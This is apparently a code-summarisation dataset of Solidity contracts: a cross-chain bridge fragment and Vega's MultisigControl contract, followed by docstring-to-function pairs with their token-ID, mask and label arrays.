bondFactory, string memory nativeTokenSymbol, string memory nativeTokenName, InternetBondRatioFeed bondFeed, BridgeRouter router ) public initializer { __Pausable_init(); __ReentrancyGuard_init(); __Ownable_init(); __CrossChainBridge_init(consensusAddress, tokenFactory, bondFactory, nativeTokenSymbol, nativeTokenName, bondFeed, router); } function getTokenImplementation() public view override returns (address) { return _tokenImplementation; } function setTokenFactory(SimpleTokenFactory factory) public onlyOwner { _tokenImplementation = factory.getImplementation(); require(_tokenImplementation != address(0x0)); emit TokenImplementationChanged(_tokenImplementation); } function getBondImplementation() public view override returns (address) { return _bondImplementation; } function setBondFactory(InternetBondFactory factory) public onlyOwner { _bondImplementation = factory.getImplementation(); require(_bondImplementation != address(0x0)); emit BondImplementationChanged(_tokenImplementation); } function getNativeAddress() public view returns (address) { return _nativeTokenMetadata.originAddress; } function getOrigin(address token) internal view returns (uint256, address) { if (token == _nativeTokenMetadata.originAddress) { return (0, address(0x0)); } try IERC20Pegged(token).getOrigin() returns (uint256 chain, address origin) { return (chain, origin); } catch {} return (0, address(0x0)); } function __CrossChainBridge_init( address consensusAddress, SimpleTokenFactory tokenFactory, InternetBondFactory bondFactory, string memory nativeTokenSymbol, string memory nativeTokenName, InternetBondRatioFeed bondFeed, BridgeRouter router ) internal { _consensusAddress = consensusAddress; _tokenImplementation = tokenFactory.getImplementation(); _bondImplementation = bondFactory.getImplementation(); _nativeTokenMetadata = Metadata( Utils.stringToBytes32(nativeTokenSymbol), Utils.stringToBytes32(nativeTokenName), Utils.currentChain(), // generate unique address that will not collide with any contract address address(bytes20(keccak256(abi.encodePacked("CrossChainBridge:", nativeTokenSymbol)))), 0x0 ); _internetBondRatioFeed = bondFeed; _bridgeRouter = router; } // HELPER FUNCTIONS function isPeggedToken(address toToken) public view override returns (bool) { return _peggedTokenOrigin[toToken] != address(0x00); } function getRatio(address token) public view returns (uint256) { return _internetBondRatioFeed.getRatioFor(token); } function getBondType(address token) public view returns (InternetBondType) { try IERC20InternetBond(token).isRebasing() returns (bool isRebasing) { if (isRebasing) return InternetBondType.REBASING_BOND; else return InternetBondType.NONREBASING_BOND; } catch { } return InternetBondType.NOT_BOND; } function getNativeRatio(address token) public view returns (uint256) { try IERC20InternetBond(token).ratio() returns (uint256 ratio) { return ratio; } catch { } return 0; } function createBondMetadata(uint8 version, InternetBondType bondType) internal pure returns (bytes32) { bytes32 result = 0x0; result |= bytes32(bytes1(version)); result |= bytes32(bytes1(uint8(bondType))) >> 8; return result; } // DEPOSIT FUNCTIONS function deposit(uint256 toChain, address toAddress) public payable nonReentrant whenNotPaused override { _depositNative(toChain, toAddress, msg.value); } function deposit(address fromToken, uint256 toChain, address toAddress, uint256 amount) public nonReentrant whenNotPaused override { (uint256 chain, address origin) = getOrigin(fromToken); if (chain != 0) { /* if we have pegged contract then its pegged token */ _depositPegged(fromToken, toChain, toAddress, amount, chain, origin); } else { /* otherwise its erc20 token, since we can't detect is it erc20 token it can only return insufficient balance in case of any errors */ _depositErc20(fromToken, toChain, toAddress, amount); } } function _depositNative(uint256 toChain, address toAddress, uint256 totalAmount) internal { /* sender is our from address because he is locking funds */ address fromAddress = address(msg.sender); /* lets determine target bridge contract */ address toBridge = _bridgeAddressByChainId[toChain]; require(toBridge != address(0x00), "bad chain"); /* we need to calculate peg token contract address with meta data */ address toToken = _bridgeRouter.peggedTokenAddress(address(toBridge), _nativeTokenMetadata.originAddress); /* emit event with all these params */ emit DepositLocked( toChain, fromAddress, // who send these funds toAddress, // who can claim these funds in "toChain" network _nativeTokenMetadata.originAddress, // this is our current native token (e.g. ETH, MATIC, BNB, etc) toToken, // this is an address of our target pegged token totalAmount, // how much funds was locked in this contract _nativeTokenMetadata // meta information about ); } function _depositPegged(address fromToken, uint256 toChain, address toAddress, uint256 totalAmount, uint256 chain, address origin) internal { /* sender is our from address because he is locking funds */ address fromAddress = address(msg.sender); /* check allowance and transfer tokens */ require(IERC20Upgradeable(fromToken).balanceOf(fromAddress) >= totalAmount, "insufficient balance"); InternetBondType bondType = getBondType(fromToken); uint256 amt; if (bondType == InternetBondType.REBASING_BOND) { amt = _peggedAmountToShares(totalAmount, getRatio(origin)); } else { amt = totalAmount; } address toToken; if (bondType == InternetBondType.NOT_BOND) { toToken = _peggedDestinationErc20Token(fromToken, origin, toChain, chain); } else { toToken = _peggedDestinationErc20Bond(fromToken, origin, toChain, chain); } IERC20Mintable(fromToken).burn(fromAddress, amt); Metadata memory metaData = Metadata( Utils.stringToBytes32(IERC20Extra(fromToken).symbol()), Utils.stringToBytes32(IERC20Extra(fromToken).name()), chain, origin, createBondMetadata(0, bondType) ); /* emit event with all these params */ emit DepositBurned( toChain, fromAddress, // who send these funds toAddress, // who can claim these funds in "toChain" network fromToken, // this is our current native token (can be ETH, CLV, DOT, BNB or something else) toToken, // this is an address of our target pegged token amt, // how much funds was locked in this contract metaData, origin ); } function _peggedAmountToShares(uint256 amount, uint256 ratio) internal pure returns (uint256) { require(ratio > 0, "zero ratio"); return Utils.multiplyAndDivideFloor(amount, ratio, 1e18); } function _nativeAmountToShares(uint256 amount, uint256 ratio, uint8 decimals) internal pure returns (uint256) { require(ratio > 0, "zero ratio"); return Utils.multiplyAndDivideFloor(amount, ratio, 10 ** decimals); } function _depositErc20(address fromToken, uint256 toChain, address toAddress, uint256 totalAmount) internal { /* sender is our from address because he is locking funds */ address fromAddress = address(msg.sender); InternetBondType bondType = getBondType(fromToken); /* check allowance and transfer tokens */ { uint256 balanceBefore = IERC20(fromToken).balanceOf(address(this)); uint256 allowance = IERC20(fromToken).allowance(fromAddress, address(this)); require(totalAmount <= allowance, "insufficient allowance"); require(IERC20(fromToken).transferFrom(fromAddress, address(this), totalAmount), "can't transfer"); uint256 balanceAfter = IERC20(fromToken).balanceOf(address(this)); if (bondType != InternetBondType.REBASING_BOND) { // Assert that enough coins were transferred to bridge require(balanceAfter >= balanceBefore + totalAmount, "incorrect behaviour"); } else { // For rebasing internet bonds we can't assert that exactly totalAmount will be transferred require(balanceAfter >= balanceBefore, "incorrect behaviour"); } } /* lets determine target bridge contract */ address toBridge = _bridgeAddressByChainId[toChain]; require(toBridge != address(0x00), "bad chain"); /* lets pack ERC20 token meta data and scale amount to 18 decimals */ uint256 chain = Utils.currentChain(); uint256 amt; if (bondType != InternetBondType.REBASING_BOND) { amt = _amountErc20Token(fromToken, totalAmount); } else { amt = _amountErc20Bond(fromToken, totalAmount, getNativeRatio(fromToken)); } address toToken; if (bondType == InternetBondType.NOT_BOND) { toToken = _bridgeRouter.peggedTokenAddress(address(toBridge), fromToken); } else { toToken = _bridgeRouter.peggedBondAddress(address(toBridge), fromToken); } Metadata memory metaData = Metadata( Utils.stringToBytes32(IERC20Extra(fromToken).symbol()), Utils.stringToBytes32(IERC20Extra(fromToken).name()), chain, fromToken, createBondMetadata(0, bondType) ); /* emit event with all these params */ emit DepositLocked( toChain, fromAddress, // who send these funds toAddress, // who can claim these funds in "toChain" network fromToken, // this is our current native token (can be ETH, CLV, DOT, BNB or something else) toToken, // this is an address of our target pegged token amt, // how much funds was locked in this contract metaData // meta information about ); } function _peggedDestinationErc20Token(address fromToken, address origin, uint256 toChain, uint originChain) internal view returns (address) { /* lets determine target bridge contract */ address toBridge = _bridgeAddressByChainId[toChain]; require(toBridge != address(0x00), "bad chain"); require(_peggedTokenOrigin[fromToken] == origin, "non-pegged contract not supported"); if (toChain == originChain) { return _peggedTokenOrigin[fromToken]; } else { return _bridgeRouter.peggedTokenAddress(address(toBridge), origin); } } function _peggedDestinationErc20Bond(address fromToken, address origin, uint256 toChain, uint originChain) internal view returns (address) { /* lets determine target bridge contract */ address toBridge = _bridgeAddressByChainId[toChain]; require(toBridge != address(0x00), "bad chain"); require(_peggedTokenOrigin[fromToken] == origin, "non-pegged contract not supported"); if (toChain == originChain) { return _peggedTokenOrigin[fromToken]; } else { return _bridgeRouter.peggedBondAddress(address(toBridge), origin); } } function _amountErc20Token(address fromToken, uint256 totalAmount) internal returns (uint256) { /* lets pack ERC20 token meta data and scale amount to 18 decimals */ require(IERC20Extra(fromToken).decimals() <= 18, "decimals overflow"); totalAmount *= (10 ** (18 - IERC20Extra(fromToken).decimals())); return totalAmount; } function _amountErc20Bond(address fromToken, uint256 totalAmount, uint256 nativeRatio) internal returns (uint256) { /* lets pack ERC20 token meta data and scale amount to 18 decimals */ uint8 decimals = IERC20Extra(fromToken).decimals(); require(decimals <= 18, "decimals overflow"); uint256 totalShares = _nativeAmountToShares(totalAmount, nativeRatio, decimals); totalShares *= (10 ** (18 - decimals)); return totalShares; } function _currentChainNativeMetaData() internal view returns (Metadata memory) { return _nativeTokenMetadata; } // WITHDRAWAL FUNCTIONS function withdraw( bytes calldata /* encodedProof */, bytes calldata rawReceipt, bytes memory proofSignature ) external nonReentrant whenNotPaused override { uint256 proofOffset; uint256 receiptOffset; assembly { proofOffset := add(0x4, calldataload(4)) receiptOffset := add(0x4, calldataload(36)) } /* we must parse and verify that tx and receipt matches */ (EthereumVerifier.State memory state, EthereumVerifier.PegInType pegInType) = EthereumVerifier.parseTransactionReceipt(receiptOffset); require(state.chainId == Utils.currentChain(), "receipt points to another chain"); ProofParser.Proof memory proof = ProofParser.parseProof(proofOffset); require(_bridgeAddressByChainId[proof.chainId] == state.contractAddress, "crosschain event from not allowed contract"); state.receiptHash = keccak256(rawReceipt); proof.status = 0x01; // execution must be successful proof.receiptHash = state.receiptHash; // ensure that rawReceipt is preimage of receiptHash bytes32 hash; assembly { hash := keccak256(proof, 0x100) } // we can trust receipt only if proof is signed by consensus require(ECDSAUpgradeable.recover(hash, proofSignature) == _consensusAddress, "bad signature"); // withdraw funds to recipient _withdraw(state, pegInType, hash); } function _withdraw(EthereumVerifier.State memory state, EthereumVerifier.PegInType pegInType, bytes32 proofHash) internal { /* make sure these proofs wasn't used before */ require(!_usedProofs[proofHash], "proof already used"); _usedProofs[proofHash] = true; if (state.toToken == _nativeTokenMetadata.originAddress) { _withdrawNative(state); } else if (pegInType == EthereumVerifier.PegInType.Lock) { _withdrawPegged(state, state.fromToken); } else if (state.toToken != state.originToken) { // origin token is not deployed by our bridge so collision is not possible _withdrawPegged(state, state.originToken); } else { _withdrawErc20(state); } } function _withdrawNative(EthereumVerifier.State memory state) internal { state.toAddress.transfer(state.totalAmount); emit WithdrawUnlocked( state.receiptHash, state.fromAddress, state.toAddress, state.fromToken, state.toToken, state.totalAmount ); } function _withdrawPegged(EthereumVerifier.State memory state, address origin) internal { /* create pegged token if it doesn't exist */ Metadata memory metadata = EthereumVerifier.getMetadata(state); InternetBondType bondType = InternetBondType(uint8(metadata.bondMetadata[1])); if (bondType == InternetBondType.NOT_BOND) { _factoryPeggedToken(state.toToken, metadata); } else { _factoryPeggedBond(state.toToken, metadata); } /* mint tokens (NB: mint for bonds accepts amount in shares) */ IERC20Mintable(state.toToken).mint(state.toAddress, state.totalAmount); /* emit peg-out event (its just informative event) */ emit WithdrawMinted( state.receiptHash, state.fromAddress, state.toAddress, state.fromToken, state.toToken, state.totalAmount ); } function _withdrawErc20(EthereumVerifier.State memory state) internal { Metadata memory metadata = EthereumVerifier.getMetadata(state); InternetBondType bondType = InternetBondType(uint8(metadata.bondMetadata[1])); /* we need to rescale this amount */ uint8 decimals = IERC20Extra(state.toToken).decimals(); require(decimals <= 18, "decimals overflow"); uint256 scaledAmount = state.totalAmount / (10 ** (18 - decimals)); if (bondType == InternetBondType.REBASING_BOND) { scaledAmount = Utils.multiplyAndDivideCeil(scaledAmount, 10 ** decimals, getNativeRatio(state.toToken)); } /* transfer tokens and make sure behaviour is correct (just in case) */ uint256 balanceBefore = IERC20(state.toToken).balanceOf(state.toAddress); require(IERC20Upgradeable(state.toToken).transfer(state.toAddress, scaledAmount), "can't transfer"); uint256 balanceAfter = IERC20(state.toToken).balanceOf(state.toAddress); require(balanceBefore <= balanceAfter, "incorrect behaviour"); /* emit peg-out event (its just informative event) */ emit WithdrawUnlocked( state.receiptHash, state.fromAddress, state.toAddress, state.fromToken, state.toToken, state.totalAmount ); } // OWNER MAINTENANCE FUNCTIONS (owner functions will be reduced in future releases) function factoryPeggedToken(uint256 fromChain, Metadata calldata metaData) external onlyOwner override { // make sure this chain is supported require(_bridgeAddressByChainId[fromChain] != address(0x00), "bad contract"); // calc target token address toToken = _bridgeRouter.peggedTokenAddress(address(this), metaData.originAddress); require(_peggedTokenOrigin[toToken] == address(0x00), "already exists"); // deploy new token (its just a warmup operation) _factoryPeggedToken(toToken, metaData); } function _factoryPeggedToken(address toToken, Metadata memory metaData) internal returns (IERC20Mintable) { address fromToken = metaData.originAddress; /* if pegged token exist we can just return its address */ if (_peggedTokenOrigin[toToken] != address(0x00)) { return IERC20Mintable(toToken); } /* we must use delegate call because we need to deploy new contract from bridge contract to have valid address */ (bool success, bytes memory returnValue) = address(_bridgeRouter).delegatecall( abi.encodeWithSignature("factoryPeggedToken(address,address,(bytes32,bytes32,uint256,address,bytes32),address)", fromToken, toToken, metaData, address(this)) ); if (!success) { // preserving error message uint256 returnLength = returnValue.length; assembly { revert(add(returnValue, 0x20), returnLength) } } /* now we can mark this token as pegged */ _peggedTokenOrigin[toToken] = fromToken; /* to token is our new pegged token */ return IERC20Mintable(toToken); } function factoryPeggedBond(uint256 fromChain, Metadata calldata metaData) external onlyOwner override { // make sure this chain is supported require(_bridgeAddressByChainId[fromChain] != address(0x00), "bad contract"); // calc target token address toToken = _bridgeRouter.peggedBondAddress(address(this), metaData.originAddress); require(_peggedTokenOrigin[toToken] == address(0x00), "already exists"); // deploy new token (its just a warmup operation) _factoryPeggedBond(toToken, metaData); } function _factoryPeggedBond(address toToken, Metadata memory metaData) internal returns (IERC20Mintable) { address fromToken = metaData.originAddress; if (_peggedTokenOrigin[toToken] != address(0x00)) { return IERC20Mintable(toToken); } /* we must use delegate call because we need to deploy new contract from bridge contract to have valid address */ (bool success, bytes memory returnValue) = address(_bridgeRouter).delegatecall( abi.encodeWithSignature("factoryPeggedBond(address,address,(bytes32,bytes32,uint256,address,bytes32),address,address)", fromToken, toToken, metaData, address(this), address(_internetBondRatioFeed)) ); if (!success) { // preserving error message uint256 returnLength = returnValue.length; assembly { revert(add(returnValue, 0x20), returnLength) } } /* now we can mark this token as pegged */ _peggedTokenOrigin[toToken] = fromToken; /* to token is our new pegged token */ return IERC20Mintable(toToken); } function addAllowedContract(address allowedContract, uint256 toChain) public onlyOwner { require(_bridgeAddressByChainId[toChain] == address(0x00), "already allowed"); require(toChain > 0, "chain id must be positive"); _bridgeAddressByChainId[toChain] = allowedContract; emit ContractAllowed(allowedContract, toChain); } function removeAllowedContract(uint256 toChain) public onlyOwner { require(_bridgeAddressByChainId[toChain] != address(0x00), "already disallowed"); require(toChain > 0, "chain id must be positive"); address wasContract = _bridgeAddressByChainId[toChain]; delete _bridgeAddressByChainId[toChain]; emit ContractDisallowed(wasContract, toChain); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function changeConsensus(address consensus) public onlyOwner { require(consensus != address(0x0), "zero address disallowed"); _consensusAddress = consensus; emit ConsensusChanged(_consensusAddress); } function changeRouter(address router) public onlyOwner { require(router != address(0x0), "zero address disallowed"); _bridgeRouter = BridgeRouter(router); // We don't have special event for router change since it's very special technical contract // In future changing router will be disallowed } }
@return number of bytes until the data
function _payloadOffset(uint256 callDataPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, calldataload(callDataPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; }
7,027,137
[ 1, 2463, 1300, 434, 1731, 3180, 326, 501, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 7648, 2335, 12, 11890, 5034, 745, 751, 5263, 13, 3238, 16618, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 1160, 20, 31, 203, 3639, 19931, 288, 203, 5411, 1160, 20, 519, 1160, 12, 20, 16, 745, 72, 3145, 6189, 12, 1991, 751, 5263, 3719, 203, 3639, 289, 203, 203, 3639, 309, 261, 7229, 20, 411, 9469, 67, 15993, 67, 7570, 13, 203, 5411, 327, 374, 31, 203, 3639, 469, 309, 261, 7229, 20, 411, 9469, 67, 14639, 67, 7570, 747, 261, 7229, 20, 1545, 15130, 67, 15993, 67, 7570, 597, 1160, 20, 411, 15130, 67, 14639, 67, 7570, 3719, 203, 5411, 327, 404, 31, 203, 3639, 469, 309, 261, 7229, 20, 411, 15130, 67, 15993, 67, 7570, 13, 203, 5411, 327, 1160, 20, 300, 261, 5804, 67, 14639, 67, 7570, 300, 404, 13, 397, 404, 31, 203, 3639, 469, 203, 5411, 327, 1160, 20, 300, 261, 7085, 67, 14639, 67, 7570, 300, 404, 13, 397, 404, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: MIT pragma solidity 0.8.8; import "./IMultisigControl.sol"; /// @title MultisigControl /// @author Vega Protocol /// @notice This contract enables validators, through a multisignature process, to run functions on contracts by consensus contract MultisigControl is IMultisigControl { constructor () { // set initial threshold to 50% threshold = 500; signers[msg.sender] = true; signer_count++; emit SignerAdded(msg.sender, 0); } uint16 threshold; uint8 signer_count; mapping(address => bool) signers; mapping(uint => bool) used_nonces; mapping(bytes32 => mapping(address => bool)) has_signed; /**************************FUNCTIONS*********************/ /// @notice Sets threshold of signatures that must be met before function is executed. /// @param new_threshold New threshold value /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000 /// @notice signatures are OK if they are >= threshold count of total valid signers /// @dev Emits ThresholdSet event function set_threshold(uint16 new_threshold, uint256 nonce, bytes calldata signatures) public override{ require(new_threshold < 1000 && new_threshold > 0, "new threshold outside range"); bytes memory message = abi.encode(new_threshold, nonce, "set_threshold"); require(verify_signatures(signatures, message, nonce), "bad signatures"); threshold = new_threshold; emit ThresholdSet(new_threshold, nonce); } /// @notice Adds new valid signer and adjusts signer count. /// @param new_signer New signer address /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev Emits 'SignerAdded' event function add_signer(address new_signer, uint256 nonce, bytes calldata signatures) public override{ bytes memory message = abi.encode(new_signer, nonce, "add_signer"); require(!signers[new_signer], "signer already exists"); require(verify_signatures(signatures, message, nonce), "bad signatures"); signers[new_signer] = true; signer_count++; emit SignerAdded(new_signer, nonce); } /// @notice Removes currently valid signer and adjusts signer count. /// @param old_signer Address of signer to be removed. /// @param nonce Vega-assigned single-use number that provides replay attack protection /// @param signatures Vega-supplied signature bundle of a validator-signed order /// @notice See MultisigControl for more about signatures /// @dev Emits 'SignerRemoved' event function remove_signer(address old_signer, uint256 nonce, bytes calldata signatures) public override { bytes memory message = abi.encode(old_signer, nonce, "remove_signer"); require(signers[old_signer], "signer doesn't exist"); require(verify_signatures(signatures, message, nonce), "bad signatures"); signers[old_signer] = false; signer_count--; emit SignerRemoved(old_signer, nonce); } /// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met, /// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network /// @notice message to hash to sign follows this pattern: /// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address); /// @notice Note that validating_contract_or_submitter_address is the submitting party. If on MultisigControl contract itself, it's the submitting ETH address /// @notice if function on bridge that then calls Multisig, then it's the address of that contract /// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to /// @return Returns true if valid signatures are over the threshold function verify_signatures(bytes calldata signatures, bytes memory message, uint256 nonce) public override returns(bool) { require(signatures.length % 65 == 0, "bad sig length"); require(signatures.length > 0, "must contain at least 1 sig"); require(!used_nonces[nonce], "nonce already used"); uint8 sig_count = 0; bytes32 message_hash = keccak256(abi.encode(message, msg.sender)); uint256 offset; assembly { offset := signatures.offset } for(uint256 msg_idx = 0; msg_idx < signatures.length; msg_idx+= 65){ //recover address from that msg bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r := calldataload(add(offset,msg_idx)) // second 32 bytes s := calldataload(add(add(offset,msg_idx), 32)) // final byte (first byte of the next 32 bytes) v := byte(0, calldataload(add(add(offset,msg_idx), 64))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Malleable signature error"); if (v < 27) v += 27; address recovered_address = ecrecover(message_hash, v, r, s); if(signers[recovered_address] && !has_signed[message_hash][recovered_address]){ has_signed[message_hash][recovered_address] = true; sig_count++; } } used_nonces[nonce] = ((uint256(sig_count) * 1000) / (uint256(signer_count))) > threshold; return used_nonces[nonce]; } /// @return Number of valid signers function get_valid_signer_count() public override view returns(uint8){ return signer_count; } /// @return Current threshold function get_current_threshold() public override view returns(uint16) { return threshold; } /// @param signer_address target potential signer address /// @return true if address provided is valid signer function is_valid_signer(address signer_address) public override view returns(bool){ return signers[signer_address]; } /// @param nonce Nonce to lookup /// @return true if nonce has been used function is_nonce_used(uint256 nonce) public override view returns(bool){ return used_nonces[nonce]; } } /** MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................MMM MMMMZ.............................+MM....................DDD MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/
@return Current threshold
function get_current_threshold() public override view returns(uint16) { return threshold; }
5,503,239
[ 1, 2463, 6562, 5573, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 67, 2972, 67, 8699, 1435, 1071, 3849, 1476, 1135, 12, 11890, 2313, 13, 288, 203, 3639, 327, 5573, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 